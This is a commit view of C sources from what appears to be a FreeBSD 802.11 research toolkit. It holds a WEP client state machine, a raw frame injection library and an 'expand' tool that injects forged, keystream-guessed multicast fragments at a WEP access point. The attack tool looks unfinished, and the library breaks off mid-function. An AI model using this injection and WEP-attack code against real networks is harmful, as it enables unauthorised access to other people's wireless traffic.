if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_CTL) {
int rc = send_ack(p->tx, wh->i_addr2);
if (rc == -1)
err(1, "send_ack()");
if (rc != 10) {
printf("Wrote ACK %d/%d\n", rc, 10);
exit(1);
}
}
#endif
/* data frames */
if (type == IEEE80211_FC0_TYPE_DATA && !dup) {
char *ptr;
char src[6], dst[6];
int rc;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
if (memcmp(wh->i_addr2, p->ap, 6) != 0)
return;
} else {
if (memcmp(wh->i_addr1, p->ap, 6) != 0)
return;
}
if (p->state < S_ASSOCIATED) {
printf("Got data when not associated!\n");
return;
}
if (stype != IEEE80211_FC0_SUBTYPE_DATA) {
printf("Got weird data frame stype=%d\n",
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
return;
}
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
memcpy(src, wh->i_addr3, 6);
memcpy(dst, wh->i_addr1, 6);
} else {
memcpy(src, wh->i_addr2, 6);
memcpy(dst, wh->i_addr3, 6);
}
ptr = (char*) (wh + 1);
if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
if (!p->wep_len) {
char srca[3*6];
char dsta[3*6];
mac2str(srca, src);
mac2str(dsta, dst);
printf("Got wep but i aint wep %s->%s %d\n",
srca, dsta, len-sizeof(*wh)-8);
return;
}
if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
char srca[3*6];
char dsta[3*6];
mac2str(srca, src);
mac2str(dsta, dst);
printf("Can't decrypt %s->%s %d\n", srca, dsta,
len-sizeof(*wh)-8);
return;
}
ptr += 4;
len -= 8;
}
/* ether header */
ptr += 8 - 2;
ptr -= 6;
memcpy(ptr, src, 6);
ptr -= 6;
memcpy(ptr, dst, 6);
len -= sizeof(*wh);
len -= 8;
len += 14;
/* send to tap */
rc = write(p->tap, ptr, len);
if (rc == -1)
err(1, "write()");
if (rc != len) {
printf("Wrote %d/%d\n", rc, len);
exit(1);
}
}
}
int get_probe_response(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
char *data;
int ess;
int wep;
char *ssid;
char from[18];
char bssid[18];
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return 0;
generic_process(wh, p, rc);
if (!for_me(wh, p->mac))
return 0;
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
IEEE80211_FC0_SUBTYPE_PROBE_RESP))
return 0;
data = (char*) (wh+1);
data += 8; /* Timestamp */
data += 2; /* Beacon Interval */
ess = *data & 1;
wep = (*data & IEEE80211_CAPINFO_PRIVACY) ? 1 : 0;
data += 2; /* capability */
/* ssid */
if (*data != 0) {
printf("Warning, expecting SSID got %x\n", *data);
return 0;
}
data++;
ssid = data+1;
data += 1 + *data;
if (*data != 1) {
printf("Warning, expected rates got %x\n", *data);
return 0;
}
*data = 0;
/* rates */
data++;
mac2str(from, wh->i_addr2);
mac2str(bssid, wh->i_addr3);
printf("Got response from %s [%s] [%s] ESS=%d WEP=%d\n",
from, bssid, ssid, ess, wep);
if (strcmp(ssid, p->ssid) != 0)
return 0;
memcpy(p->ap, wh->i_addr2, 6);
memcpy(p->bssid, wh->i_addr3, 6);
return 1;
}
int get_auth(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
short *data;
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return 0;
generic_process(wh, p, rc);
if (!for_me(wh, p->mac))
return 0;
if (!from_ap(wh, p->ap))
return 0;
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
IEEE80211_FC0_SUBTYPE_AUTH))
return 0;
data = (short*) (wh+1);
/* algo */
if (le16toh(*data) != 0) {
printf("Not open-system %d!\n", le16toh(*data));
return 0;
}
data++;
/* transaction no. */
if (le16toh(*data) != 2) {
printf("Got transaction %d!\n", le16toh(*data));
return 0;
}
data++;
/* status code */
rc = le16toh(*data);
if (rc == 0) {
printf("Authenticated\n");
return 1;
}
printf("Authentication failed code=%d\n", rc);
return 0;
}
int get_assoc(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
unsigned short *data;
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return 0;
generic_process(wh, p, rc);
if (!for_me(wh, p->mac))
return 0;
if (!from_ap(wh, p->ap))
return 0;
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
IEEE80211_FC0_SUBTYPE_ASSOC_RESP))
return 0;
data = (unsigned short*) (wh+1);
data++; /* caps */
/* status */
rc = le16toh(*data++);
if (rc != 0) {
printf("Assoc failed code %d\n", rc);
return 0;
}
/* aid */
p->aid = le16toh(*data & ~( (1 << 15) | (1 << 14)));
printf("Association ID=%d\n", p->aid);
return 1;
}
void read_wifi(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
int type, stype;
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
generic_process(wh, p, rc);
if (!for_me(wh, p->mac))
return;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
/* control frames */
if (type == IEEE80211_FC0_TYPE_CTL) {
switch (stype) {
case IEEE80211_FC0_SUBTYPE_ACK:
if (p->state == S_WAIT_ACK)
p->state = S_ASSOCIATED;
break;
case IEEE80211_FC0_SUBTYPE_RTS:
#if 0
printf("Got RTS\n");
#endif
break;
default:
printf("Unknown CTL frame %d\n",
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
abort();
break;
}
return;
}
if (!from_ap(wh, p->ap))
return;
if (type != IEEE80211_FC0_TYPE_MGT)
return;
if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH ||
stype == IEEE80211_FC0_SUBTYPE_DISASSOC) {
printf("Got management! %d\n",
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
p->seq_rx = -1;
p->state = S_START;
}
return;
}
void read_tap(struct params *p)
{
char *ptr;
int len = sizeof(p->packet);
int offset;
char mac[6];
struct ieee80211_frame *wh;
ptr = p->packet;
offset = sizeof(struct ieee80211_frame) + 8 - 14;
if (p->wep_len)
offset += 4;
ptr += offset;
len -= offset;
/* read packet */
memset(p->packet, 0, sizeof(p->packet));
p->packet_len = read(p->tap, ptr, len);
if (p->packet_len == -1)
err(1, "read()");
/* 802.11 header */
wh = (struct ieee80211_frame*) p->packet;
memcpy(mac, ptr, sizeof(mac));
fill_basic(wh, p);
memcpy(wh->i_addr3, mac, sizeof(wh->i_addr3));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
if (p->wep_len)
wh->i_fc[1] |= IEEE80211_FC1_WEP;
/* LLC & SNAP */
ptr = (char*) (wh+1);
if (p->wep_len)
ptr += 4;
*ptr++ = 0xAA;
*ptr++ = 0xAA;
*ptr++ = 0x03;
*ptr++ = 0x00;
*ptr++ = 0x00;
*ptr++ = 0x00;
/* ether type overlaps w00t */
p->packet_len += offset;
/* WEP */
if (p->wep_len) {
ptr = (char*) (wh+1);
memcpy(ptr, &p->wep_iv, 3);
ptr[3] = 0;
p->wep_iv++;
wep_encrypt(wh, p->packet_len, p->wep_key, p->wep_len);
p->packet_len += 4; /* ICV */
}
}
int main(int argc, char *argv[])
{
char* ssid = 0;
char mac[] = { 0x00, 0x00, 0xde, 0xfa, 0xce, 0xd };
int ch;
struct params p;
char *iface = "ath0";
char *tap = "tap0";
int timeout = 50*1000;
struct timeval start;
memset(&p, 0, sizeof(p));
p.wep_len = 0;
p.wep_iv = 0;
p.state = S_START;
while ((ch = getopt(argc, argv, "hm:s:i:w:t:b:")) != -1) {
switch (ch) {
case 'b':
if (str2mac(p.bssid, optarg)) {
printf("Error parsing BSSID\n");
exit(1);
}
memcpy(p.ap, p.bssid, sizeof(p.ap));
p.state = S_SEND_AUTH;
break;
case 's':
ssid = optarg;
break;
case 'm':
if (str2mac(mac, optarg)) {
printf("Error parsing MAC\n");
exit(1);
}
break;
case 'i':
iface = optarg;
break;
case 'w':
if (str2wep(p.wep_key, &p.wep_len, optarg)) {
printf("Error parsing WEP key\n");
exit(1);
}
break;
case 't':
tap = optarg;
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
if (!ssid)
usage(argv[0]);
p.mac = mac;
p.ssid = ssid;
p.seq = getpid();
p.seq_rx = -1;
if (open_rxtx(iface, &p.rx, &p.tx) == -1)
err(1, "open_rxtx()");
p.tap = open_tap(tap);
if (p.tap == -1)
err(1, "open_tap()");
if (set_iface_mac(tap, mac) == -1)
err(1, "set_iface_mac()");
while (1) {
/* check for timeouts */
switch (p.state) {
case S_WAIT_PROBE_RES:
case S_WAIT_AUTH:
case S_WAIT_ASSOC:
case S_WAIT_ACK:
do {
int rc;
struct timeval tv;
int elapsed = 0;
/* check timeout */
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
elapsed = tv.tv_sec - start.tv_sec;
if (elapsed == 0) {
elapsed = tv.tv_usec - start.tv_usec;
} else {
elapsed *= (elapsed-1)*1000*1000;
elapsed += 1000*1000 - start.tv_usec;
elapsed += tv.tv_usec;
}
if (elapsed >= timeout)
rc = 0;
else {
fd_set fds;
FD_ZERO(&fds);
FD_SET(p.rx, &fds);
elapsed = timeout - elapsed;
tv.tv_sec = elapsed/1000/1000;
elapsed -= tv.tv_sec*1000*1000;
tv.tv_usec = elapsed;
rc = select(p.rx+1, &fds, NULL,
NULL, &tv);
if (rc == -1)
err(1, "select()");
}
/* timeout */
if (!rc) {
#if 0
printf("Timeout\n");
#endif
p.state--;
}
} while(0);
break;
}
switch (p.state) {
case S_START:
p.state = S_SEND_PROBE_REQ;
break;
case S_SEND_PROBE_REQ:
printf("Sending probe request for %s\n", ssid);
send_probe_request(&p);
p.state = S_WAIT_PROBE_RES;
if (gettimeofday(&start, NULL) == -1)
err(1, "gettimeofday()");
break;
case S_WAIT_PROBE_RES:
if (get_probe_response(&p)) {
p.state = S_SEND_AUTH;
}
break;
case S_SEND_AUTH:
do {
char apmac[18];
mac2str(apmac, p.ap);
printf("Sending auth to %s\n", apmac);
send_auth(&p);
p.state = S_WAIT_AUTH;
if (gettimeofday(&start, NULL) == -1)
err(1, "gettimeofday()");
} while(0);
break;
case S_WAIT_AUTH:
if (get_auth(&p)) {
p.state = S_SEND_ASSOC;
}
break;
case S_SEND_ASSOC:
printf("Sending assoc\n");
send_assoc(&p);
p.state = S_WAIT_ASSOC;
if (gettimeofday(&start, NULL) == -1)
err(1, "gettimeofday()");
break;
case S_WAIT_ASSOC:
if (get_assoc(&p)) {
printf("Associated\n");
p.state = S_ASSOCIATED;
}
break;
case S_ASSOCIATED:
do {
fd_set fds;
int max;
FD_ZERO(&fds);
FD_SET(p.rx, &fds);
FD_SET(p.tap, &fds);
max = (p.rx > p.tap) ? p.rx : p.tap;
max = select(max+1, &fds, NULL, NULL, NULL);
if (max == -1)
err(1, "select()");
if (FD_ISSET(p.tap, &fds)) {
read_tap(&p);
p.state = S_SEND_DATA;
}
if (FD_ISSET(p.rx, &fds)) {
read_wifi(&p);
}
} while(0);
break;
case S_SEND_DATA:
send_frame(&p, p.packet, p.packet_len);
do {
struct ieee80211_frame *wh;
wh = (struct ieee80211_frame*) p.packet;
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
} while (0);
p.state = S_WAIT_ACK;
if (gettimeofday(&start, NULL) == -1)
err(1, "gettimeofday()");
break;
case S_WAIT_ACK:
read_wifi(&p);
break;
default:
printf("Unknown state %d\n", p.state);
abort();
break;
}
}
exit(0);
}

View File

@ -0,0 +1,7 @@
# $FreeBSD$
.include <../Makefile.inc>
PROG= expand
.include <bsd.prog.mk>

View File

@ -0,0 +1,468 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <assert.h>
#include <zlib.h>
#include "w00t.h"
enum {
S_START = 0,
S_WAIT_RELAY,
};
struct queue {
struct ieee80211_frame *wh;
int len;
char *buf;
int live;
struct queue *next;
};
struct params {
int rx;
int tx;
int tap;
char mcast[5];
char mac[6];
char ap[6];
char prga[2048];
int prga_len;
int state;
struct queue *q;
char packet[2048];
int packet_len;
struct timeval last;
int seq;
unsigned char guess;
};
int wanted(struct params *p, struct ieee80211_frame *wh, int len)
{
char *bssid, *sa;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
bssid = wh->i_addr1;
sa = wh->i_addr2;
}
else {
bssid = wh->i_addr2;
sa = wh->i_addr3;
}
if (memcmp(bssid, p->ap, 6) != 0)
return 0;
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
printf("Got non WEP packet...\n");
return 0;
}
/* my own shit */
if (memcmp(p->mac, sa, 6) == 0)
return 0;
return 1;
}
void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
{
struct queue *q = p->q;
int qlen = 0;
char *ret = NULL;
struct queue *last = NULL;
/* find a slot */
while (q) {
if (q->live)
qlen++;
else {
/* recycle */
ret = q->buf;
break;
}
last = q;
q = q->next;
}
/* need to create slot */
if (!q) {
q = (struct queue*) malloc(sizeof(*q));
if (!q)
err(1, "malloc()");
memset(q, 0, sizeof(*q));
/* insert */
if (!p->q)
p->q = q;
else {
assert(last);
last->next = q;
}
}
q->live = 1;
q->buf = *buf;
q->len = len;
q->wh = wh;
qlen++;
if (qlen > 5)
printf("Enque. Size: %d\n", qlen);
*buf = ret;
}
void send_packet(struct params *p)
{
int rc;
rc = inject(p->tx, p->packet, p->packet_len);
if (rc == -1)
err(1, "inject()");
if (rc != p->packet_len) {
printf("Wrote %d/%d\n", rc, p->packet_len);
exit(1);
}
if (gettimeofday(&p->last, NULL) == -1)
err(1, "gettimeofday()");
}
#include <openssl/rc4.h>
void send_mcast(struct params *p, unsigned char x)
{
struct ieee80211_frame *wh;
short *seq;
struct queue *q = p->q;
char *data, *ptr;
int len;
uLong crc = crc32(0L, Z_NULL, 0);
uLong *pcrc;
int i;
int need_frag = 0;
char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
assert(q);
/* 802.11 */
memset(p->packet, 0, sizeof(p->packet));
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
wh->i_fc[1] |= IEEE80211_FC1_WEP;
wh->i_dur[0] = 0x69;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memcpy(wh->i_addr3, p->mcast, 5);
wh->i_addr3[5] = x;
seq = (short*) wh->i_seq;
*seq = seqfn(p->seq++, 0);
/* IV */
data = (char*) (wh+1);
ptr = (char*) (q->wh+1);
memcpy(data, ptr, 3);
if (p->prga_len == 0) {
RC4_KEY k;
unsigned char key[8];
memset(&key[3], 0x61, 5);
memcpy(key, (q->wh+1), 3);
p->prga_len = 128;
RC4_set_key(&k, 8, key);
memset(p->prga, 0, sizeof(p->prga));
RC4(&k, p->prga_len, p->prga, p->prga);
#if 0
int ptl = q->len;
char *pt;
pt = known_pt(q->wh, &ptl);
ptr += 4;
p->prga_len = ptl;
for (i = 0; i < p->prga_len; i++)
p->prga[i] = ptr[i] ^ pt[i];
#endif
}
/* data */
data += 4;
memcpy(data, payload, sizeof(payload));
p->prga_len = 12;
len = p->prga_len + 1 - 4;
#if 1
if (len < sizeof(payload)) {
need_frag = len;
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
}
#endif
/* crc */
pcrc = (uLong*) (data+len);
*pcrc = crc32(crc, data, len);
/* wepify */
len += 4;
for (i = 0; i < (len); i++) {
assert( i <= p->prga_len);
data[i] ^= p->prga[i];
}
// data[i] ^= x;
len += sizeof(*wh);
p->packet_len = len + 4;
send_packet(p);
/* the data we sent is too fucking short */
if (need_frag) {
memset(data, 0, len);
/* 802.11 */
*seq = seqfn(p->seq-1, 1);
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
/* data */
len = sizeof(payload) - need_frag;
assert(len > 0 && len <= (p->prga_len - 4));
memcpy(data, &payload[need_frag], len);
/* crc */
crc = crc32(0L, Z_NULL, 0);
len = p->prga_len - 4;
pcrc = (uLong*) (data+len);
*pcrc = crc32(crc, data, len);
/* wepify */
len += 4;
for (i = 0; i < len; i++) {
assert( i < p->prga_len);
data[i] ^= p->prga[i];
}
len += sizeof(*wh) + 4;
p->packet_len = len;
send_packet(p);
}
}
void send_queue(struct params *p)
{
struct queue *q = p->q;
int i;
assert(q);
assert(q->live);
for (i = 0; i < 5; i++) {
send_mcast(p, p->guess++);
}
p->state = S_WAIT_RELAY;
}
void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
{
printf("ao\n");
}
void read_wifi(struct params *p)
{
static char *buf = 0;
static int buflen = 4096;
struct ieee80211_frame *wh;
int rc;
if (!buf) {
buf = (char*) malloc(buflen);
if (!buf)
err(1, "malloc()");
}
rc = sniff(p->rx, buf, buflen);
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
/* relayed macast */
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA) &&
(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr2, p->ap, 6) == 0) &&
(memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
(memcmp(p->mac, wh->i_addr3, 6) == 0)) {
got_mcast(p, wh, rc);
return;
}
/* data */
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA)) {
if (!wanted(p, wh, rc))
return;
enque(p, &buf, wh, rc);
if (p->state == S_START)
send_queue(p);
return;
}
}
void own(struct params *p)
{
struct timeval tv;
struct timeval *to = NULL;
fd_set fds;
int tout = 10*1000;
if (p->state == S_WAIT_RELAY) {
int el;
/* check timeout */
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
el = elapsed(&p->last, &tv);
/* timeout */
if (el >= tout) {
if (p->q && p->q->live) {
send_queue(p);
el = 0;
} else {
p->state = S_START;
return;
}
}
el = tout - el;
tv.tv_sec = el/1000/1000;
tv.tv_usec = el - tv.tv_sec*1000*1000;
to = &tv;
}
FD_ZERO(&fds);
FD_SET(p->rx, &fds);
if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
err(1, "select()");
if (FD_ISSET(p->rx, &fds))
read_wifi(p);
}
void usage(char *name)
{
printf("Usage %s <opts>\n"
"-h\thelp\n"
"-b\t<bssid>\n"
"-t\t<tap>\n"
, name);
exit(1);
}
int main(int argc, char *argv[])
{
struct params p;
char *iface = "ath0";
char *tap = "tap0";
int ch;
memset(&p, 0, sizeof(p));
memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
p.seq = getpid();
memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
switch (ch) {
case 't':
tap = optarg;
break;
case 'b':
if (str2mac(p.ap, optarg) == -1) {
printf("Can't parse BSSID\n");
exit(1);
}
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
if ((p.rx = open_rx(iface)) == -1)
err(1, "open_rx()");
if ((p.tx = open_tx(iface)) == -1)
err(1, "open_tx()");
if ((p.tap = open_tap(tap)) == -1)
err(1, "open_tap()");
if (set_iface_mac(tap, p.mac) == -1)
err(1, "set_iface_mac()");
p.state = S_START;
while (1)
own(&p);
exit(0);
}

View File

@ -0,0 +1,7 @@
# $FreeBSD$
LIB= w00t
SRCS= w00t.c
INTERNALLIB= true
.include <bsd.lib.mk>

View File

@ -0,0 +1,414 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/endian.h>
#include <sys/uio.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <net80211/ieee80211_radiotap.h>
#include <net80211/ieee80211.h>
#include <openssl/rc4.h>
#include <zlib.h>
#include "w00t.h"
int str2mac(char *mac, char *str)
{
unsigned int macf[6];
int i;
if (sscanf(str, "%x:%x:%x:%x:%x:%x",
&macf[0], &macf[1], &macf[2],
&macf[3], &macf[4], &macf[5]) != 6)
return -1;
for (i = 0; i < 6; i++)
*mac++ = (char) macf[i];
return 0;
}
void mac2str(char *str, char* m)
{
unsigned char *mac = m;
sprintf(str, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
short seqfn(unsigned short seq, unsigned short fn)
{
unsigned short r = 0;
assert(fn < 16);
r = fn;
r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
return r;
}
unsigned short seqno(struct ieee80211_frame *wh)
{
unsigned short *s = (unsigned short*) wh->i_seq;
return (*s & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
}
int open_bpf(char *dev, int dlt)
{
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
for(i = 0;i < 16; i++) {
sprintf(buf, "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd == -1) {
if(errno != EBUSY)
return -1;
continue;
}
else
break;
}
if(fd == -1)
return -1;
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
if(ioctl(fd, BIOCSETIF, &ifr) < 0)
return -1;
if (ioctl(fd, BIOCSDLT, &dlt) < 0)
return -1;
i = 1;
if (ioctl(fd, BIOCIMMEDIATE, &i) < 0)
return -1;
return fd;
}
int open_tx(char *iface)
{
return open_bpf(iface, DLT_IEEE802_11_RADIO);
}
int open_rx(char *iface)
{
return open_bpf(iface, DLT_IEEE802_11_RADIO);
}
int open_rxtx(char *iface, int *rx, int *tx)
{
*rx = open_bpf(iface, DLT_IEEE802_11_RADIO);
*tx = *rx;
return *rx;
}
int inject(int fd, void *buf, int len)
{
return inject_params(fd, buf, len, NULL);
}
int inject_params(int fd, void *buf, int len,
struct ieee80211_bpf_params *params)
{
static struct ieee80211_bpf_params defaults = {
.ibp_vers = IEEE80211_BPF_VERSION,
/* NB: no need to pass series 2-4 rate+try */
.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
.ibp_rate1 = 2, /* 1 MB/s XXX */
.ibp_try1 = 1, /* no retransmits */
.ibp_flags = IEEE80211_BPF_NOACK,
.ibp_power = 100, /* nominal max */
.ibp_pri = WME_AC_VO, /* high priority */
};
struct iovec iov[2];
int rc;
if (params == NULL)
params = &defaults;
iov[0].iov_base = params;
iov[0].iov_len = params->ibp_len;
iov[1].iov_base = buf;
iov[1].iov_len = len;
rc = writev(fd, iov, 2);
if (rc == -1)
return rc;
rc -= iov[0].iov_len; /* XXX could be negative */
return rc;
}
int sniff(int fd, void *buf, int len)
{
return read(fd, buf, len);
}
void *get_wifi(void *buf, int *len)
{
#define BIT(n) (1<<(n))
struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
struct ieee80211_radiotap_header* rth;
uint32_t present;
uint8_t rflags;
void *ptr;
/* bpf */
*len -= bpfh->bh_hdrlen;
if (bpfh->bh_caplen != *len) {
assert(bpfh->bh_caplen < *len);
*len = bpfh->bh_caplen;
}
assert(bpfh->bh_caplen == *len);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
present = le32toh(rth->it_present);
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
rflags = ((const uint8_t *)rth)[8];
else
rflags = ((const uint8_t *)rth)[0];
} else
rflags = 0;
*len -= rth->it_len;
/* 802.11 CRC */
if (rflags & IEEE80211_RADIOTAP_F_FCS)
*len -= IEEE80211_CRC_LEN;
ptr = (char*)rth + rth->it_len;
return ptr;
#undef BIT
}
int send_ack(int fd, char *mac)
{
static char buf[2+2+6];
static char *p = 0;
int rc;
if (!p) {
memset(buf, 0, sizeof(buf));
buf[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
p = &buf[4];
}
memcpy(p, mac, 6);
rc = inject(fd, buf, sizeof(buf));
return rc;
}
int open_tap(char *iface)
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/%s", iface);
return open(buf, O_RDWR);
}
int set_iface_mac(char *iface, char *mac)
{
int s, rc;
struct ifreq ifr;
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1)
return -1;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, iface);
ifr.ifr_addr.sa_family = AF_LINK;
ifr.ifr_addr.sa_len = 6;
memcpy(ifr.ifr_addr.sa_data, mac, 6);
rc = ioctl(s, SIOCSIFLLADDR, &ifr);
close(s);
return rc;
}
int str2wep(char *wep, int *len, char *str)
{
int klen;
klen = strlen(str);
if (klen % 2)
return -1;
klen /= 2;
if (klen != 5 && klen != 13)
return -1;
*len = klen;
while (klen--) {
unsigned int x;
if (sscanf(str, "%2x", &x) != 1)
return -1;
*wep = (unsigned char) x;
wep++;
str += 2;
}
return 0;
}
int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
{
RC4_KEY k;
char seed[64];
char *p = (char*) (wh+1);
uLong crc = crc32(0L, Z_NULL, 0);
uLong *pcrc;
assert(sizeof(seed) >= klen + 3);
memcpy(seed, p, 3);
memcpy(&seed[3], key, klen);
RC4_set_key(&k, klen+3, seed);
len -= sizeof(*wh);
len -= 4;
p += 4;
RC4(&k, len, p, p);
crc = crc32(crc, p, len - 4);
pcrc = (uLong*) (p+len-4);
if (*pcrc == crc)
return 0;
return -1;
}
void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
{
RC4_KEY k;
char seed[64];
char *p = (char*) (wh+1);
uLong crc = crc32(0L, Z_NULL, 0);
uLong *pcrc;
assert(sizeof(seed) >= klen + 3);
memcpy(seed, p, 3);
memcpy(&seed[3], key, klen);
